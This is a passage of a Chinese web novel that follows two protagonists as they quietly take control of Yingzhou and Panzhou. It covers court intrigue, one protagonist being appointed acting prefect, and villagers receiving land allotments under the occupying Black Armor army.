就是放到整个西南, 整个大历也不会比王刺史有更先听闻的大人物。” “那我且问一问, 先生背后究竟是谁?”别看只有五千人,但个个精兵强将, 此前还能瞒的滴水不漏,必然是有靠山在的。 前年西南栽了一个庄王,去岁西南没了一个平王,除开地方势力再无中央插手, 所以王襄格外好奇究竟是谁在西南养了这样一支兵。 “我姓蔺,王刺史比我年长,当不得一句先生。”达者为师,他和王襄,怎么看也该是王襄被称作先生。 “蔺?是庄王外家的蔺?”庄王事败,蔺家被抄家,连带着庄王都被废去王位,赶去守皇陵,他不信短短一年多时间,蔺家余党就能东山再起。 “是也不是。”蔺肃解释,“我的蔺姓的确和长安蔺家有关,但和我效忠的主公没有关系。” 他最不希望外人将他和蔺家扯上关系,从前蔺家的光他是一点没沾,要不是得遇明主,说不定还要因为蔺家掉了脑袋,眼下他跟着东家创业,都是一步一步靠自己走上来的,蔺家也没道理沾他的光。 那就也不是平王的人,蔺家是庄王外家,蔺家被扳倒还有平王一份功劳,不可能招募从前跟着庄王的蔺家人。 “王刺史为何沉默不语,可是我招待不周,若是有什么地方不满还请王刺史明说,我其中一位主公可是自幼听王刺史的名头长大,眼下虽未相见,但也一直叮嘱我要好生招待王刺史,不能怠慢,还请王刺史别为难我。” 蔺肃知道东家和别公子有心招揽王襄,但王襄出身诸城王氏,可不会轻易被一介小门小户打动,其间你来我往总要拉扯一番的。 “蔺管事哪里的话,不过是一时失神。”王襄面上不显,但多半已经在猜测蔺肃口中的主公究竟是长安哪位世家子弟了。 “看来是我叫王刺史无聊了,正好新茶煮好,这煮茶之法是我主公相授,希望王刺史喜欢。” 见茶盏的泛着茶香的茶水,王襄眉心一动,眼前以茶叶泡水的饮法自茶饼茶砖在西南现世后,渐渐在豪强间流行起来。 但因为茶叶数量稀少,根本没在市面上流传,而做茶叶生意的,他记得是一户不起眼的人家,隐约记得好像姓尚。 …… “广运帝不对劲。”别此云看过长安来信后,就一直皱着眉头,虽说世家安排名下子弟回祖籍避难,可以看做是贪生怕死,但规模如此之大,不知道的还以为世家要从长安脱根,再回祖籍创造辉煌。 而事情怪就怪在,广运帝竟然一直无动于衷,不管是世家的举动,还是边境的情况,再下旨征兵加税后,广运帝一直没有在传出什么动静。 “长安并未传出广运帝罢朝的消息。” “这就更怪了,以广运帝的性格,要不是身患重疾,怎么会任由朝廷事态如此发展,便是想要钓鱼,这鱼一条比一条大,单广运帝的鱼钩,根本钓不了这么多。” 世家撤离长安,很容易引发惶恐,眼下长安百姓还被瞒的严严实实,但长久下来,必然会出现流言蜚语,引发的后果,无论是百姓大规模逃离长安,还是有人趁乱生事,都不好应对。 长安禁军才多少人,长安百姓可是有小一百万人,逃跑还好说,真要趁乱生事,王公大臣有一个算一个都能被趁乱弄死。 “广运帝还没有准备南下,说明北面的战事虽然紧急,但还危机不到长安,只要这一点咱们没猜错,便是广运帝有其他心思,对我们的行动也影响不大。” 尚柒有时候恨自己不是广运帝肚子里的蛔虫,也不知封建帝王究竟都是什么想法,一个比一个奇葩,他就是再聪明,也是正常人思维,哪能想到脑子发癫的人会有什么新奇想法。 “也是,别家眼下置身之外,我想着等咱们占据西南大部分后,就向兄长透露情况,叫他骗全家来西南。”别此云自信他和尚柒真要是在短短几年内占据西南,兄长必会支持他们谋事。 太子这等孬货都能被别家看中,不至于到了自家人这里吝啬,再说别家也不是什么忠君爱国之臣,从前耗死在太子这颗歪脖子树上,那是没有选择,现在有选择了,肯定是良禽择木而栖。 “大舅哥能想什么借口骗整个别家来西南?”不是他不信别景季的本事,而是此云要求太高,眼下除非长安城破,不然整个别家不可能随随便便离开长安。 “从这几次来信看,太子惹恼了祖父,以我对太子的了解,绝计不会为自己的错给旁人道歉,说不得还要借机指责别家。 我看太子这条船别家也做不久,而余下的晋王和齐王,一个有萧家做靠山,一个行事阴狠不受别家待见,哪个都不会成为别家下一个支持的人。” 这种情况别家想要破局,只有另投明主,偏偏广运帝名下其余皇子年岁还小,连朝廷有什么官都不清楚,要辅佐他们上位,除非年长的几个皇子都死了。 “这事你提前和大舅哥商量好,别到时候强人所难,实在不成,我可以派人将别家阖府上下都绑了,直接送到西南来。”办法虽然简单粗暴了点,但肯定有效。 “长安各城门的守军也不是吃素的,你送几个人出城还行,成百人想要偷渡出来,没那么容易。” “可以分批次,走不同的门,实在不行,还能塞钱办事,难不成你认为长安城门看守的禁军有多清廉吗?” 就拿樊泊来说,这样有本事的人在禁军都养不活一家老小,其他禁军的日子只会更差,能拿银子叫家里人多吃几顿饱饭,谁还管他送什么东西出城,就是他当真绑了广运帝,想来禁军也会被收买。 只是广运帝久居深宫,除开大型活动很少出门,甚至这几年需要出面的活动都叫太子替他去了,可见人不光体力不行,也越害怕有人暗杀他。 尚柒认为要是有皇城的布局图和巡逻表,溜进去不是问题,但要带皇帝平安出皇城就有点困难了,所以掳走广运帝的计划被尚柒在心底画了个叉。 “那也是没有办法的办法,不过这办法你也别只用在我家身上。”比起长安,地方掳人更简单,实在缺人的时候可以考虑考虑。 “未免有些缺德。” “难道咱们缺德的事还少干了?”真要以人权论,当初偷了平王的兵力,就该叫这些士兵自愿选择去留,而不是强留在营地。 “有道理。”尚柒承认他的确是个缺德的人。 “王襄大军到白鹤县,肯定瞒不过沿途的县城,玄甲军的名声快要在盘州传开了,我想着或许有人会来主动投诚。” 县官可能为保乌纱帽不会主动投诚,但地方豪强可不会放过任何潜力股,甚至股多了,这些地方豪强还多方下注,等他们自相残杀后,再看谁能赢到最后。 尚柒摇头:“你忘了白鹤县的富户地都被我们收购了,地方豪强要是听到这个消息,估计恨不能买凶刺杀蔺肃。” 地方豪强轻易不合作,也就是说很难形成一股大军和他们对抗,如此能够对他们造成威胁的,只有粮食,偏他们又不缺粮。 等地方豪强发现玄甲军不依靠他们依旧能混的风生水起,各种阴招就要用上了,刺杀历来都是低成本高收益的事,地方豪强也没少养部曲和死士。 “要我派遣一些部曲过去保护蔺肃的安全吗?”蔺肃可是尚柒手中一员大将,平日又是当朋友相处,真要是为了大业被刺杀,是一个重大损失。 “暂时不必,眼下蔺肃跟樊泊在一处,有大军护着部曲杀手轻易接近不了蔺肃。”但写封信给蔺肃提醒是有必要的,蔺肃也是聪明人,一惯都选择明哲保身,肯定不会冒险做些什么危急生命的事。 “盘州蔺肃和樊泊稳扎稳打收复,应州这边咱们也要加快行动。”不说跟盘州一样全全做主,但也要有实际控制权,等大军到应州,能够以最快的速度吃下应州。 第109章 应州城。 自从应州刺史被平王拉下马, 如今应州管事的官员都是从前刺史身边的人,为刺史干活的人出身多不会太高,这些人最会明哲保身, 所以应州这一年多发生的变化, 被某些聪明人察觉也只会装作不知道。 尤其是这次陛下下旨在整个大历境内征兵加税, 西南其余州陆陆续续都完成了任务, 唯有应州一动不动。 “虽说咱们州还没有派遣刺史下来群龙无首,但陛下只怕不会管这么多,兵和税咱们真的不管了?”应州衙门的官员忧心忡忡询问同僚。 “如何管?咱们下面的县城,大多也没有县令,这兵和税怎么收上来?” “也怪朝廷, 这都过去多久了, 还不派遣官员过去。” “去岁至今朝廷都忙于出兵突厥, 许是这等小事吏部忘了。”也可能是长安各个党派之间打架打的太厉害,对地方上的差事就多有疏忽。 “对朝廷是小事, 对我等可是大事,兵税收不上来, 咱们的乌纱帽也保不住。” “何必惊慌, 应州的县令里不是有个出身不匪的吗?这位尚县令都没着急咱们着什么急。” “尚县令身后有别家, 别家又是太子嫡系, 真要是出了岔子难道还保不住他?咱们可不一样, 连个撑腰的人都没有,标准的替罪羊。” 这话说的不错, 应州没上缴兵力和税粮,被朝廷追责是早晚的事,到时候背锅的肯定是他们这些没背景的人。 “或许咱们问问尚县令的意思?”整个应州城再找不出比尚柒更有背景的官员了,甚至整个西南, 除开盘州的王刺史,也没谁的背景比别家深厚。 “你若只是去问尚县令该怎么办?必不会有结果,要我说不如卖别家一个好,暂请尚县令代刺史一职。” 同僚们闻言面面相觑,这话里话外的意思是打算拉尚县令下马。 “不能吧,先别说没有朝廷的指令,单是尚柒能娶到别家哥儿,必不是个蠢货,这时候叫尚柒来暂代刺史,不是明摆着叫他来顶锅的吗?” “若是做的好,尚柒叫别家暗地里操作,也不是不可能从县令直升刺史。” “便是世家子弟到地方任职,都要三年功夫才敢说往上升,没得一个当了一年多的县令就能骑到咱们头上,便是有别家出马,吏部也不肯答应。” 尚柒又不愁升职,有别家在长安操作,说不得三五年下来,就给弄回中原当官。 西南刺史说的好听,官位高,但其实是个苦差,实在是这地儿没什么油水可捞。 “只要别家能叫吏部不派遣新刺史过来,尚柒就能一直暂代刺史,名正言顺也不过早晚的事。” “咱们在这商量不如问问尚柒的意思,左右他肯定能想明白其中厉害,他要是愿意为咱们顶住上面的压力,咱们听听他的也没什么。” 于是在清平县逐步蚕食整个应州的尚柒收到消息后,难得瞠目结舌的看向来人。 怎么还有来了瞌睡就送枕头的,莫不是应州城的官员看透他在应州行事,遣人过来试探不成? “应该不会,咱们在应州的动静越来越大,总有聪明人能够看透,但大抵不会猜测咱们想要谋反,毕竟你我还有别家这一层关系打掩护。 便是当真有人发现了,以目前朝廷的情况,多半也是不敢去揭发的,我看他们是认真的。” 尚柒抽动了一下嘴角:“或许他们是打算找一个人帮他们顶住广运帝的怒火。” 毕竟整个应州在他和此云的操作下,几乎没有县城主动征兵加税,像是压根没收到这条消息一样,估计看着马上要到朝廷给的日期,才着急忙慌的寻求帮助。 不巧的是,整个应州能够在长安有说话分量的,还真只有他们一家。 “他们不知道,权利给出去容易,再收回来就难了。”别此云看向尚柒,露出意味深长的笑容,仿佛在说这是天赐良机。 “其实有没有这道名正言顺的护身符并不影响咱们在应州行事。”他在清平县,照样能够整个应州收入囊中。 “但有了护身符行事更方便,至少咱们在应州各县里建私塾不会惹人眼了。” “不,会更耀眼。”原本只在清平县建私塾,县里的富户他们都收拾的差不多,眼下要在整个应州建私塾,地方豪强还能忍的住才怪。 “你打算推辞?”别此云有些诧异,难道他猜错尚柒的心思了? “推辞不至于,就像此云你说的,能够得应州城内的官员同意暂代刺史一职,咱们行事会更方便,但比起我暂代,我认为你暂代更合适。” “什么?”别此云闻言轻呼,他倒不是认为自己没本事做好,而是他去的麻烦程度比尚柒要多一些。 “虽然身份上他们或许不会同意,但比起和别家的亲近关系,我肯定比不上你,他们真要想得别家庇佑,最终会同意的。”尚柒确信,这些人都离经叛道求到他一个籍籍无名的县令头上,让此云暂代县令一职,顶多也纠结几日就会妥协。 “我看你是又犯懒了。” “什么话,我不过是突然想起,眼下无论是军队还是文治,仿佛都是我在做主,你虽暗中出力但没多少人知道。 造反是你我合谋,该要叫下面的人清楚,你有本事更甚于我,而不是我的附庸。” 别此云闻言轻摇头:“你知道我不在意这些,无论台前幕后并不会影响我什么,甚至可以说其中也有我放纵的结果。” 清平县衙门做事不拘性别,别此云真想出头,直接去衙门和尚柒一起共事即可。 “此云,别想偷懒。”尚柒狡黠一笑,把方才此云的话还了回去。 别此云叹气,怎么被看出来了:“当真要我去?” “非你不可,且你手中部曲这样多,难道就没有在军中有作为的儿郎?” “现在就要弄出两个党派,你也不怕咱们大业中道崩殂?” “非也,有时候有竞争才有动力,樊泊虽强,但也只能顾及一方面,造反随时可能四面开花,你在军中也该要有自己的人才是。” “非要共治?” “本该如此,我不知道咱们能将制度推演到什么地步,但如果皇帝的位置不再由一个人决定,也是一个进步不是吗?” “不好说,毕竟后来人不一定会同意咱们。” “那我们也将是一粒火种,总有一日,星星之火可以燎原。” 别此云闭上眼睛,尚柒比他通透,他们眼下还在探索阶段,总不会必现在更差就是了。 “好。” …… 清平县的消息传回应州城,衙门里主事的几人都大吃一惊,他们想过尚柒会为了权利答应,也想过尚柒因为害怕麻烦拒绝,甚至还想过尚柒会既要又要,但就是没想过暂代刺史的人选换了。 “诸位如何看?” “荒唐,大历朝中什么时候有过哥儿当官,咱们要是请尚柒的夫郞暂代刺史,岂非是贻笑大方,日后朝廷问起来,还要治咱们一个扰乱朝纲的罪名。” “扰乱朝纲不至于,大历国法也没说不能叫姑娘哥儿做官,再一个只是暂代刺史,没名没分的,谁来都一样。” “那也是尚柒好过他夫郞,我看这尚柒也没什么本事,竟然叫自家夫郞拿捏住,这样好一个通天的机会,他要是把握住,再靠别家经营,官途能少十年的磋磨。 他夫郞来暂代刺史,他能落什么好?便是他在后面出谋划策,最后功绩不还是落在他夫郞头上。” “大家伙的意思是,这事就算了?” “自然算了,难道你还真想请这么一个哥儿到咱们头上呈威风。” “可别哥儿是别大人的唯一的哥儿,听闻甚是疼爱,若他来别家肯定不会袖手旁观,本来咱们的目的不就是叫别家帮忙,好揭过没遵旨被问罪的事吗?” 这话一出口,不少人反应过来,他们本末倒置了,只要有人能帮他们顶住朝廷的责问,管谁来暂代刺史呢。 当初商量尚柒,不也是因为尚柒有靠山,要不然尚柒能入他们的眼?别家哥儿过来,靠山又不变,说不得儿婿还不如哥儿叫别家看中。 且别家哥儿干涉政事,别家不可能做事不理。 “或许咱们再商量商量,实在没有别的办法,也只好请别哥儿过来。” 话落,几位反对的官员面色铁青,可经过刚才的提醒,大家伙也知道想要保命就不是任性的时候,管来人是谁,能保住他们,就是他们的救命恩人。 别说一个哥儿,就是一只狸奴一只狗,真到了那个地步也要拉过供着。 “若是请别家哥儿来暂代刺史,刺史的管辖权咱们要不要交出去?” 其余人听见这个问题,看向问问题的人,似乎在想同僚之间原是有个傻子的。 “诸位看我做什么?”那人还不明白他说错了什么话? “若不给出管辖权,他们为何要蹚这趟浑水?”难道只为了一个连官印都没有的刺史名头?空手套白狼他们有几个脑袋能得罪别家哥儿。 第110章 应州城在尚柒预料的时间里传来了同意的消息, 叫原本还想拖延一阵再去赴任的别此云露了个苦脸。 “未免太迫不及待了。” “眼看截至日期就要到了,你早日去,别家也好早日为他们的前程奔忙。”没有大背景爬到州府做事, 其中心酸不是一般人能体会的, 可不为了保住官职无所不用其极。 “我要给家里传信吗?” “不必, 左右在过一段时间, 应州城的官员应该就会听闻盘州白鹤县的事。” “你要和我一块去,还是继续留在清平县主持大局?” “都不,我准备去应州名下的各个县城走一遭,眼下你是应州官府承认的代理刺史,我正好狐假虎威去看看这些县城如何了。” 应州城其他县城, 和清平县黄谷县不同, 虽大部分也没有县令, 但他和此云的人也没有大张旗鼓的插手官府的事。 别此云闻言点头,他去应州城也是有大事要忙, 例如在应州城放出风声,说要在各县城建立免费供孩子读书的私塾, 等真正开工后, 应州城衙门的人就没那么容易撤销他的权力。 而盘州此刻, 已经乱成一锅粥了。 白鹤县被乱军围了, 刺史领兵作战却被俘虏的消息不胫而走, 整个盘州城上到达官显贵,下到平民百姓, 都人心惶惶。 有条件的已经开始准备跑路了,没条件的也盘算乱军真的打过来,要去哪里避避风头。 最着急的还是距离白鹤县较近的凤来县,两县比邻, 交界处的村落常年往来,通婚者也不少见。 但白鹤县发生这样的大事,凤来县的百姓却也是后知后觉,半点没发现白鹤县竟然不知不觉被围了去。 凤来县小蹈村就和白鹤县只隔了一个山头,虽说来往需要翻山越岭,但因为两个村子时常有猎户上山打猎,成群结伴出行却也没什么危险。 “黄猎户,可看到小香村的情况了么。”小蹈村的村民自打晓得隔壁小香村有乱军,夜里觉都睡不好,就怕乱军翻过山头打过来,他们一个村多是老弱妇孺,如何能跟拿刀的乱军对上。 “没听见动静,但正午的时候家家户户烟囱都有冒烟,该是没事。” “没事就好没事就好。”说话的婶娘松了一口气,他们小蹈村和小香村历来有姻亲往来,她家的哥儿就嫁去了小香村,原还当她家哥儿已经死在乱军手里了,这会子竟然没事,改日一定要去庙里给菩萨上柱香,感谢神佛保佑。 “那咱们还跑吗?” “要不再看看,这会咱们就是跑也顶多是投奔附近的村子,乱军真打过来了,也不过多活一时片刻罢了。” 这话不假,他们祖祖辈辈都在凤来县,认识的人也都是相邻的几个村子,谁又能在没有性命之忧的情况下阖家舍弃现在的房地。 “既然小香村人都在,要不咱们村去几个有姻亲关系的人打探打探情况。” “这可不行,万一过去遇上乱军,被人杀了怎么办?” 到底是乱军,不是菩萨,说是要命在场的人谁还能抵抗不成。 黄猎户沉默不语,他家的闺女也嫁去小香村了,他名下就这一个孩子,妻子早年也走了,含辛茹苦将闺女养大,又给置办了丰厚的嫁妆,就是怕闺女在他百年之后受欺负。 “我去小香村瞧瞧。”黄猎户独身一人,便是死了也就死了,总归死之前他要去见一见闺女的。 “黄猎户,要不还是在等等,我看乱军既然没有伤人,说不得早晚会放人出白鹤县。”有人出声劝告,到底是一个村认识的人,关系不说多好,但也不见得能眼睁睁看人去死。 “我去意已决,不必拦着。”说罢,黄猎户就大步流星的往自己半山腰的房子走去,准备收拾收拾,去看闺女。 有人见拦不住黄猎户,急急忙忙去找村长。 隔壁小香村,周围是有玄甲军驻扎的,不过小香村的农户已经习惯这些军爷,甚至有些执勤歇息的军爷搭话,也能接上几句。 “当真要分田?”和隔壁村子担忧小香村的生存情况不同,小香村最看重还是分田的大事。 “可不是,县里的富户有一家算一家,都把地卖给玄甲军了,人玄甲军说了,地只给咱们农户分,到县里不在操持田地的人家都是没有的。” “合该如此,去了县里,自然有他的营生,但咱们农户只有地里刨食,地自然是该分给咱们的。” “县里可有说怎么分田?按户还是按人头。”若是按户,家里儿郎多的人家就吃亏,若是按人头,家里儿郎多的人家便得了便宜。 “说是按人头。” “那你家可是得了便宜,光是儿郎你家就有五个,还不算下面的孙子呢。” “可不,只是这样分陆家就吃亏了,他家姑娘哥儿四五个,就一个儿郎,还是个病秧子。” 分地的消息一传开,有人欢喜有人愁,欢喜的自然是儿郎多的人家,愁的自然是儿郎少的人家。 就说陆家,孩子也不少,但只有老大一个儿郎,出生时因为是头胎,生的不顺,落了病根,便是陆家夫妻省吃俭用,但还有一大家子要养活,病也只能拖着。 “也别丧气,总归给咱们分的地肯定比原先咱们手里的多。” “话是这样讲,但咱们家什么情况,你我现在还能干,地要是能多种一些,便可为家里孩子攒点家底。” “这事咱们也没说话的余地,玄甲军怎么说咱们怎么做就是。” 和陆家一样情况的人不多,但一样的人家都少不得愁眉苦脸,结果转头玄甲军的通告一出来,就炸开了锅。 这个按人头分,竟然是按户籍上的人头,不论儿郎还是姑娘哥儿,都能分得田地。 祖祖辈辈田契都只挂在儿郎身上,什么时候田地要给家里姑娘哥儿分了,若是日后姑娘哥儿嫁人,岂不是要将家里的地给带走。 若是不给姑娘哥儿分田,百姓还不至于说什么,可一旦分了,到手的鸭子日后要飞走,就纷纷开始闹事了。 也是玄甲军入白鹤县后,都守规矩,面向百姓的时候也多和善,叫部分欺软怕硬的家伙来了脾气。 竟有人撺掇自家村长去军爷面前说说情,叫分给姑娘哥儿的地等人日后嫁出去了,就留给娘家,也算是还了生养的恩情。 只是话都没传到蔺肃耳朵,就被早吩咐过的兵丁出手拦住了,上头有令轻易不和百姓动手,但上头还说,遇上泼皮无赖不讲道理的,直接拉去衙门的地牢关几日,叫他们醒醒神,晓得谁是大王要紧。 于是,等驻扎在各村落的兵丁纷纷亮出长枪,原本还气势汹汹准备大闹一场的农户都纷纷熄火,尤其是当初闹的最凶的几位,现在见着兵爷都是夹着尾巴做人,就怕军爷记住了他们的脸,要把他们拉去县里坐牢。 所以等黄猎户翻山越岭悄摸靠近小香村的时候,村里正在商议选哪块地最好。 各家各户的田地都是靠抽签决定,地也不能随意买卖,哪处地好哪处地差,全凭运气,倒没人不服气。 “打哪儿来的?”小香村驻扎的领队见手下的人绑了一个中年汉子过来,瞧人打扮和手里的猎弓,该是猎户,只是小香村的猎户都在村里,突然冒出来一个猎户,就有鬼了。 “隔壁山头小蹈村的猎户。”黄猎户已经有了被抓的准备,这会被带到乱军跟前,虽然害怕但不至于说话打磕绊。 “既是小蹈村的人,为何要来小香村?” “我家闺女嫁到小香村,我是过来看她的。” “你家闺女嫁的是哪家人?” “村里姓张的人家。” 一问一答之间,领队已经翻看了村里的黄册,找到张姓人家,小香村姓张的有几家,但只有一家媳妇登记的籍贯是隔壁小蹈村。 “黄元娘是吗?” “正是。” “带他去张家找黄元娘。”亲爹过来看闺女是天经地义的事,上头虽说不叫村里人随意跑出去,但没说不叫外头人进来。 押着黄猎户的两人闻言松手,招呼黄猎户跟上,这些时日,村里的兵丁也算是把小香村的农户都认了个遍,不说多熟悉,但还是能把脸和名字对上。 黄猎户这些年也走过张家的亲戚,晓得亲家住哪儿,等他到亲家门前,就见自家闺女正和村里的许多婶娘在一块做针线活。 “元娘。” “爹,你怎么过来了。”黄元娘见着门口来人,针线活也不做了,立马到门口,双眼含泪,当初玄甲军进村子的时候,她都以为再见不到她爹了,没成想今日竟还能见着面。 “我听闻白鹤县的消息,想着过来看看你。”要是元娘死在乱军的手里,他拼了这条命都要杀两个乱军给元娘报仇。 “晓得危险,你过来干什么,若玄甲军不是个好的,我们父女不是要在地下面见了吗?”黄元娘一手抹了眼泪,责怪她爹不把命当回事。 黄猎户是个闷葫芦,嘴也笨,看着闺女哭也不知道该怎么办?还是亲家出面解围,请他进屋说话。《 》 110-120 第111章 张家亲家从小蹈村过来的消息, 没过多长时间就传遍整个小香村,许多和小蹈村有亲的人家也纷纷上门,向黄猎户打探亲人的消息。 虽说两个村子离的近, 就隔一个山头, 其实也不常见, 距离白鹤县被围也没多长时间, 只是外面的人不晓得白鹤县内的情况难免担忧。 张家为此热闹了一整日,直到天色渐暗,过来说话的人家也要急着回去做饭吃饭,才散开了。 黄元娘陪着她爹和人唠了一下午,这会子终于清净下来, 公婆也由得她招待她爹, 两人就说了村里最近的大事。 “分地?”黄猎户家里也有几亩薄田, 但平日挣钱主要靠卖打来的猎物,地里的活也做, 但每年种出来的粮食够他一人吃喝就成了。 “是嘞,爹你不晓得, 玄甲军分地按人头分呢, 我也有地, 县里过来的官人们正在重新划分地头, 到时候只消去官人们手里拿签, 就能去衙门签田契。”黄元娘命好,家里只有她一个孩子。 虽然娘走的早, 但爹没有再娶,拉扯她长大后,家底都是攒给她的,因为嫁妆丰厚, 哪怕是嫁人也在夫家有地位,唯一可惜的就是爹手里的几亩田给不到她头上。 这也是她爹为什么手头有钱不买地的缘故,地置办好了最后一定到不了黄元娘手里,但攒的钱却是可以给黄元娘。 哪想玄甲军一来,自古的规矩就变了,听到自己也能有田的消息,不知多少姑娘哥儿流了眼泪,许多家里穷,养着姑娘哥儿为的就是日后嫁人换些钱补贴家里。 嫁妆多是没有的,这会子能有田傍身,嫁出去也不怕叫人欺负。 “村里人没意见?”村里的地都是私有资源,地也就那么多,分给各家儿郎也就罢了,分给各家姑娘哥儿,只怕有人闹事。 “自然是有的,但带头闹事的都叫玄甲军抓了去,眼下正在衙门吃牢饭呢。”要黄元娘说,这事当真闹不起来,想想看当初玄甲军过来的时候,大家伙都还不晓得玄甲军是好的,一个个都以为要丢命都没和玄甲军打起来,眼下有便宜占还能和玄甲军闹翻不成。 也不看看玄甲军手里的长枪答不答应。 “地分的多了,可种的过来?” “再没有种不过来的,从来只有地不够种的,爹你不晓得,玄甲军在县里卖铁打的农具,头一件给咱们农户优惠价,有这样好的农具下地,种地比以前松快多了。” 黄元娘虽是在猎户家长大,但农户出身哪个不会种地?平日农忙一大家子除开走路不稳的娃娃,都要齐上阵抢收,就怕赶不上天候糟蹋了粮食。 所以新农具一出售,只要试过的人家再没不想要一件的。 村里的妇人郎君个个也都是种田好手,顶多是每日干的活赶不上青壮,但多干一两日也就赶上来了,比起能有地的好处,辛苦些都不算什么。 黄猎户听着黄元娘桩桩件件列举玄甲军过来准备做的好事,整个人都精神了不少。 白鹤县历来是富县,虽然小香村瞧着不大,也偏僻,但沾了一些白鹤县的光,就是挑菜去卖,每日也能有一份收入。 他当初挑选张家小子做女婿,就是看重小香村比小蹈村富庶,两个村子也离得近,平日他照看自家闺女也方便。 不想白鹤县当真有点运道,被乱军围了,日子过得竟然比从前还要好。 “好事。”黄猎户真心实意的露出笑容,“我听说前不久玄甲军还把带兵过来的王刺史给抓了,是不是真的?” “哪还有假的,府兵被俘那日,我正去县里卖菜,出县城的时候正巧远远撞见玄甲军凯旋归来,是支了不得的队伍,威风得很。” 黄元娘没见识过什么大军,平日县城守城门的兵丁倒是认识几个,但哪个也比不上玄甲军威风,现如今连盘州城的刺史都被抓了,想必盘州再没能挡住玄甲军的。 “那玄甲军有没有说过,什么时候往外打?”小蹈村就在隔壁,玄甲军要是打过来,他们得有个心里准备。 “这倒没听说,不过我认为玄甲军占凤来县也是迟早的事,爹,等你回去,好好和村里人说说,叫他们别胡乱逃跑,眼下外头指不定乱成什么样,等玄甲军过去,日子不比从前过的差。” 黄元娘早前也怕小香村有乱军的消息传回小蹈村,叫村里的人都跑了,白瞎好机会。 “玄甲军肯放我回去?”黄猎户以为这里许进不许出,不然这么久外县怎么都没有白鹤县内的消息。 “上回我问过军爷什么时候能回小蹈村探亲,军爷说快了,等田分好后就不再禁人离开白鹤县。” 黄元娘想就凭分地的手笔,只有外来人抢着到白鹤县来,白鹤县里的百姓是不肯走的。 “总之,爹你暂且放心在家住着,平日无事你也去村里和军爷说说话,不当值的时候他们很喜欢跟村里人闲聊。 说来我还听闻玄甲军在招教弓箭的教头,爹你一手好箭法在山里练出来,正好可以去试试,玄甲军给的饷银很高,教头平日只管军爷训练,不管出兵打仗,好多猎户都想去试试呢。” 猎户打猎大部分都会使弓箭,但真要比起来,实力差距也很大,就说附近几个村子,猎户加一块也有十来人,可比起射箭手艺,没谁能比过她爹。 黄猎户不想闺女还给他找上差事了,不过仔细一想,若不必行兵打仗,只是教教新人如何用弓箭就能拿饷银,的确是个不错的差事。 或许他可以去试试。 —————————— 应州城。 别此云到应州衙门的时候,衙门里主事的几位官员都是出面迎接了的,衙门上上下下也都通知到位,不管私下里谁不满一个哥儿过来主持大局,但表面是都是毕恭毕敬。 “别公子,这些是衙门目前挤压的公务,因为没有刺史在,咱们这些做下属的也不敢轻易做决定,如今别公子过来,正好给一便处理了。” 别此云听着献殷勤的话,并不动摇,别看这伙当官的像是给他卖好,实则是给他下马威,看来这伙人给他实权也给的不情不愿。 “放案头上,我等会看。”别此云坐上刺史办公的位置,“衙门其他人呢,叫来我认识认识。” “别公子,眼下都在当值,只怕不好叫他们擅离职守。” “他们不能擅离职守,你们就能擅离了?”别此云似笑非笑的打量在场的诸位,“你们请我来是帮你们接手烂摊子的,要是做事在这样推三阻四,可见也不是诚心请我帮忙。” “别公子哪里的话,是我等疏忽,这就去请衙门的人过来见别公子。” “衙门里就不必称呼我别公子了,既然我暂代刺史,想来也当得你们称我一句大人。”别此云的话并不咄咄逼人,但每一句话都扎在眼下几位官员身上,叫他们有苦不能言。 “别大人说的是,是我等不懂规矩。” 别此云不语,端正坐着,新官上任三把火,眼下他头一把火都还没发出去呢。 应州衙门的人不少,好歹也是州府衙门,县城是拍马都赶不上的,上到主事官员下到小吏都和别此云打了照面,也都纷纷按照上官的意思,改口称别此云别大人。 “大人,应州城内几位地方上有名望的世家想着宴请你,不知大人你的意思?” 应州城突然冒出来一个临时刺史,地方上的势力不可能不知道,好在别家有的是背景,地方势力只有捧着的份。 “哪家准备宴请?” “是管家的意思,不过白家也遣了人过来,但白家人还说主要看大人你的意思。”这就是白家的鸡贼之处,看似将主动权给了别大人,其实是给别大人卖好,毕竟比起管家的势大,白家只有情分上占优势。 “宴请的事暂时不急,告诉他们等几日我亲自在府上设宴,招待他们。” 下面的官员闻言抹了一把额头上的汗渍,明明别大人话里话外也没透露出别的什么不对,但光听着后脊都发凉,不知道的人还以为别大人是准备设鸿门宴款待人。 “是。” “没什么事先下去,我处理好公文在过来接手。” 别大人都发话了,其余人也不能赖在刺史办公的地儿不走,只是纷纷留下他们就在隔壁的话,让别大人有什么困难直接派人去隔壁找他们就是。 人一走,屋子就清净不少,原来的刺史瞧着也不怎么廉洁,至少看办公室的摆设,就能看出其中多少是值钱货。 “公子,他们都离开了。”琴砚在附近走了走,确认没人。 “叫南枝将这一年多收集好的消息都准备着,设宴那日拿出来。”正好瓮中捉鳖。 “宴会上人多,公子是否要再调些人过来。”这次跟来的部曲不少,护住公子安全不成问题,毕竟除了部曲,他们在应州城还有不少人手,更不提姑爷那边的人。 “你看着安排。”宴会上的客人多是手无缚鸡之力的贵客,但有时候人一多,难免生乱,人手多一些保证万全也是应该的。 琴砚点头,他打算等公子下值后,就去书墨的住处要人。 第112章 尚柒收到应州城传来的消息时, 正在沙平县,一个比清平县和黄谷县还要穷困的县城,人口数目也是整个应州最少的。 不过沙平县的县令倒是难得的好人, 虽日子过得苦哈哈, 但私下调查却没发现有侵吞民脂民膏的举动, 平日报案也都是秉公处理, 从不偏私。 “别公子在应州城是要谋大事,我看东家还是先去应州城一趟,好叫应州的地方豪强晓得咱们不是吃素的。”魏管事是这回跟尚柒一块行动的人,早前在礼县,虽不及宋月隐和蔺肃得东家看重, 但也是能干之人。 “我便是不去, 地方豪强也晓得此云不是吃素的, 我信他能摆平应州诸事。”尚柒晓得下面的人听闻此云去应州做代理刺史,颇有些意见, 但这事不是解释就能叫人明白的。 他也不指望手里的人能到达他和此云的思想,只要不出乱子, 一点小恩怨他会想办法在扩散前化解。 魏管事闻言, 晓得是东家在提点他, 他也不是有意要说不该说的话, 但东家自从有了起兵造反的心思后, 他们都是全心全意跟随东家的,别公子和长安颇有渊源, 也不知在东家造反势力里扮演什么角色。 眼瞧着东家能够暂代应州刺史,等盘州拿下,两州一并就能占据整个西南,这时候东家却突然将别公子推到前面, 实在叫人不知打的什么主意。 蔺肃不在应州,他过问不了,宋月隐一直在应州帮东家打理诸事,对此事却半点反应都没有,也不知道是宋月隐知道的情况更多,还是被别公子收买了。 “沙平县的地理位置还不错,但因为常年贫瘠,缺钱将沙平县通往外县的路修好,导致过来的人口不多,若能尽快修通沙平县来往的官道,以后从忠州到应州的路程会更近。” 